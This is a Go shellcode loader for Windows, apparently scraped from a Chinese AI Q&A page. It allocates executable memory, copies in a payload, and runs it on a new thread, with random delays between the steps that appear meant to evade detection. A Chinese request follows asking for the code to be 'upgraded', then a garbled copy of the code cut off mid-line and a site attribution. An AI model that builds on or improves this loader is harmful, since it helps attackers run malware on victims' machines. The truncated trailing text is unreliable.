package main

import ( "syscall" "unsafe" "math/rand" "time" )

func main() { kernel32 := syscall.NewLazyDLL("kernel32.dll") virtualAlloc := kernel32.NewProc("VirtualAlloc") rtlMoveMemory := kernel32.NewProc("RtlMoveMemory") createThread := kernel32.NewProc("CreateThread") waitForSingleObject := kernel32.NewProc("WaitForSingleObject")

payload := []byte{ /* insert your payload here */ }

addr, _, _ := virtualAlloc.Call(0, uintptr(len(payload)), 0x1000|0x2000, 0x40)
time.Sleep(time.Millisecond * time.Duration(rand.Intn(500)+1000))
_, _, _ = rtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&payload[0])), uintptr(len(payload)))
time.Sleep(time.Millisecond * time.Duration(rand.Intn(500)+1000))
thread, _, _ := createThread.Call(0, 0, addr, 0, 0, 0)
waitForSingleObject.Call(thread, 0xFFFFFFFF)

}

使用 VirtualAlloc 函数来分配一块内存然后使用 RtlMoveMemory 函数将代码复制到该内存中。然后我们可以使用 CreateThread 函数创建一个新线程并将其指向我们刚刚复制的代码请对下面的go代码进行升级package mainimport 	syscall	unsafe	mathrand	timefunc main 	kernel32 = syscallNewLazyD

原文地址: http://www.cveoy.top/t/topic/0zt 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录